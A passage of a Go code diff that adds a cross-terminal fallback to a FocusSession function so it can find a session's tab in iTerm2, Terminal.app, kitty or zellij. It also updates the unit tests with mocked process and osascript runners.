terminal spawned it, which is NOT +// necessarily the backend Detect() picks. Detect() answers "where would +// a new tab go", driven by the ambient environment — and $FLOW_TERM in +// particular is a *spawn* preference that outranks $TERM_PROGRAM. So a +// user with FLOW_TERM=iterm who still has older tabs in Terminal.app +// would have every focus attempt aimed at iTerm2, missing tabs that +// plainly exist elsewhere. +// +// Focus therefore follows the TAB, not the environment: try the detected +// backend first (the common case, and the cheapest), then fall back to +// every other backend until one claims the session. Each backend matches +// on the session's controlling tty, so a backend that doesn't host the +// tab reports a miss rather than focusing something wrong — which makes +// the sweep safe. +// +// Warp and Ghostty are skipped in the fallback sweep despite being +// probed first when detected: neither can select a specific tab, and +// both have the side effect of foregrounding their app. Running them +// speculatively would yank focus to an app that cannot complete the job. func FocusSession(sessionID, binary string) (bool, error) { - switch Detect() { + detected := Detect() + focused, err := focusVia(detected, sessionID, binary) + if focused { + return true, nil + } + // Only the detected backend's error is worth surfacing: it's the one + // the user is actually sitting in, so a genuine failure there (a + // broken osascript, a dead zellij socket) is real signal. Errors from + // the speculative sweep below are not — "kitty: executable file not + // found" just means the user doesn't have kitty, which says nothing + // about whether the session was found. + firstErr := err + + for _, b := range []Backend{BackendITerm, BackendTerminal, BackendKitty, BackendZellij} { + if b == detected { + continue // already tried + } + if focused, _ := focusVia(b, sessionID, binary); focused { + return true, nil + } + } + return false, firstErr +} + +// focusVia dispatches to one backend's FocusSession. +func focusVia(b Backend, sessionID, binary string) (bool, error) { + switch b { case BackendZellij: return zellij.FocusSession(sessionID, binary) case BackendKitty: diff --git a/internal/spawner/spawner_test.go b/internal/spawner/spawner_test.go index f3f664f7..fbe3f235 100644 --- a/internal/spawner/spawner_test.go +++ b/internal/spawner/spawner_test.go @@ -1,6 +1,8 @@ package spawner import ( + "errors" + "flow/internal/ghostty" "flow/internal/iterm" "flow/internal/kitty" @@ -341,8 +343,10 @@ func TestFocusSessionRoutesToITerm(t *testing.T) { if !*flags.iterm { t.Error("expected iterm focus path to be called") } - if *flags.terminal || *flags.zellij || *flags.kitty || *flags.warp || *flags.ghostty { - t.Error("only iterm focus path should be called") + // Other backends may also be probed by the cross-terminal fallback + // sweep; what matters is that the detected backend was tried. + if *flags.warp || *flags.ghostty { + t.Error("warp/ghostty must never be probed speculatively — they steal focus") } } @@ -359,8 +363,8 @@ func TestFocusSessionRoutesToTerminal(t *testing.T) { if !*flags.terminal { t.Error("expected terminal focus path to be called") } - if *flags.iterm || *flags.zellij || *flags.kitty || *flags.warp || *flags.ghostty { - t.Error("only terminal focus path should be called") + if *flags.warp || *flags.ghostty { + t.Error("warp/ghostty must never be probed speculatively — they steal focus") } } @@ -377,8 +381,8 @@ func TestFocusSessionRoutesToZellij(t *testing.T) { if !*flags.zellij { t.Error("expected zellij focus path to be called") } - if *flags.iterm || *flags.terminal || *flags.kitty || *flags.warp || *flags.ghostty { - t.Error("only zellij focus path should be called") + if *flags.warp || *flags.ghostty { + t.Error("warp/ghostty must never be probed speculatively — they steal focus") } } @@ -397,8 +401,8 @@ func TestFocusSessionRoutesToKitty(t *testing.T) { if !*flags.kitty { t.Error("expected kitty focus path to be called") } - if *flags.iterm || *flags.terminal || *flags.zellij || *flags.warp || *flags.ghostty { - t.Error("only kitty focus path should be called") + if *flags.warp || *flags.ghostty { + t.Error("warp/ghostty must never be probed speculatively — they steal focus") } } @@ -490,8 +494,8 @@ func TestFocusSessionRoutesToWarp(t *testing.T) { if !*flags.warp { t.Error("expected warp focus path to be called") } - if *flags.iterm || *flags.terminal || *flags.zellij || *flags.kitty || *flags.ghostty { - t.Error("only warp focus path should be called") + if *flags.ghostty { + t.Error("ghostty must not be probed when warp is detected") } } @@ -508,16 +512,19 @@ func TestFocusSessionRoutesToGhostty(t *testing.T) { if !*flags.ghostty { t.Error("expected ghostty focus path to be called") } - if *flags.iterm || *flags.terminal || *flags.zellij || *flags.kitty || *flags.warp { - t.Error("only ghostty focus path should be called") + if *flags.warp { + t.Error("warp must not be probed when ghostty is detected") } } -// TestFocusSessionUnknownBackendIsMiss pins the replacement for the old -// `default: iterm.FocusSession(...)` arm. A Backend constant that -// FocusSession doesn't know about must report a clean miss rather than -// silently inheriting iTerm2's implementation — that inheritance is -// exactly how Warp and Ghostty ended up driving the wrong terminal. +// TestFocusSessionUnknownBackendIsMiss — an unrecognised Backend must +// never inherit iTerm2's implementation as its *primary* dispatch (the +// old `default: iterm.FocusSession(...)` arm, which is how Warp and +// Ghostty ended up driving the wrong terminal). It still reports a miss +// when nothing hosts the session. +// +// The searchable backends ARE probed here — that's the cross-terminal +// fallback doing its job, and it's safe because each matches on tty. func TestFocusSessionUnknownBackendIsMiss(t *testing.T) { Override = Backend("some-future-terminal") t.Cleanup(func() { Override = "" }) @@ -528,10 +535,106 @@ func TestFocusSessionUnknownBackendIsMiss(t *testing.T) { t.Fatalf("FocusSession: %v", err) } if focused { - t.Error("unknown backend must report a miss") + t.Error("unknown backend must report a miss when no terminal hosts the session") + } + // Warp and Ghostty foreground their app as a side effect and cannot + // select a tab, so they must never be probed speculatively. + if *flags.warp || *flags.ghostty { + t.Error("warp/ghostty must not be probed speculatively — they steal focus without being able to finish the job") + } +} + +// TestFocusSessionFallsBackAcrossTerminals is the cross-terminal sweep. +// +// A session lives in whichever terminal spawned it, which need not be +// the one Detect() picks — $FLOW_TERM is a *spawn* preference and +// outranks $TERM_PROGRAM, so a user who sets FLOW_TERM=iterm but still +// has tabs open in Terminal.app would otherwise have every focus attempt +// aimed at the wrong app. Focus must follow the tab. +func TestFocusSessionFallsBackAcrossTerminals(t *testing.T) { + Override = BackendITerm // detected backend does NOT host the session + t.Cleanup(func() { Override = "" }) + + var itermTried, terminalTried bool + + oldITermPS := iterm.PSRunner + iterm.PSRunner = func() ([]byte, error) { + itermTried = true + return []byte(""), nil // iTerm2 doesn't have it + } + t.Cleanup(func() { iterm.PSRunner = oldITermPS }) + + // Terminal.app does host it: ps finds the tty, osascript says "ok". + oldTermPS := terminal.PSRunner + terminal.PSRunner = func() ([]byte, error) { + terminalTried = true + return []byte("42 ttys004 claude --session-id 11111111-2222-4333-8444-555555555555\n"), nil + } + t.Cleanup(func() { terminal.PSRunner = oldTermPS }) + + oldTermRO := terminal.RunnerOutput + terminal.RunnerOutput = func([]string) ([]byte, error) { return []byte("ok"), nil } + t.Cleanup(func() { terminal.RunnerOutput = oldTermRO }) + + oldKittyRO := kitty.RunnerOutput + kitty.RunnerOutput = func([]string) ([]byte, error) { return []byte("[]"), nil } + t.Cleanup(func() { kitty.RunnerOutput = oldKittyRO }) + + oldZellijRO := zellij.RunnerOutput + zellij.RunnerOutput = func([]string) ([]byte, error) { return []byte("[]"), nil } + t.Cleanup(func() { zellij.RunnerOutput = oldZellijRO }) + + focused, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude") + if err != nil { + t.Fatalf("FocusSession: %v", err) + } + if !focused { + t.Fatal("expected the sweep to find the session in Terminal.app") + } + if !itermTried { + t.Error("the detected backend should be tried first") + } + if !terminalTried { + t.Error("the sweep should have reached Terminal.app") + } +} + +// TestFocusSessionUninstalledBackendErrorIsNotSurfaced — a speculative +// probe of a terminal the user doesn't have ("kitty: executable file not +// found") says nothing about whether the session exists, so it must not +// surface as the caller's error. Only the detected backend's failure is +// real signal. +func TestFocusSessionUninstalledBackendErrorIsNotSurfaced(t *testing.T) { + Override = BackendITerm + t.Cleanup(func() { Override = "" }) + + oldITermPS := iterm.PSRunner + iterm.PSRunner = func() ([]byte, error) { return []byte(""), nil } // clean miss + t.Cleanup(func() { iterm.PSRunner = oldITermPS }) + + oldTermPS := terminal.PSRunner + terminal.PSRunner = func() ([]byte, error) { return []byte(""), nil } + t.Cleanup(func() { terminal.PSRunner = oldTermPS }) + + // kitty and zellij aren't installed — their probes error. + oldKittyRO := kitty.RunnerOutput + kitty.RunnerOutput = func([]string) ([]byte, error) { + return nil, errors.New(`kitty @ ls: exec: "kitty": executable file not found in $PATH`) + } + t.Cleanup(func() { kitty.RunnerOutput = oldKittyRO }) + + oldZellijRO := zellij.RunnerOutput + zellij.RunnerOutput = func([]string) ([]byte, error) { + return nil, errors.New(`exec: "zellij": executable file not found in $PATH`) + } + t.Cleanup(func() { zellij.RunnerOutput = oldZellijRO }) + + focused, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude") + if focused { + t.Error("no backend hosts the session; want a miss") } - if *flags.iterm || *flags.terminal || *flags.zellij || *flags.kitty || *flags.warp || *flags.ghostty { - t.Error("unknown backend must not dispatch to any backend") + if err != nil { + t.Errorf("uninstalled-terminal errors must not surface; got %v", err) } }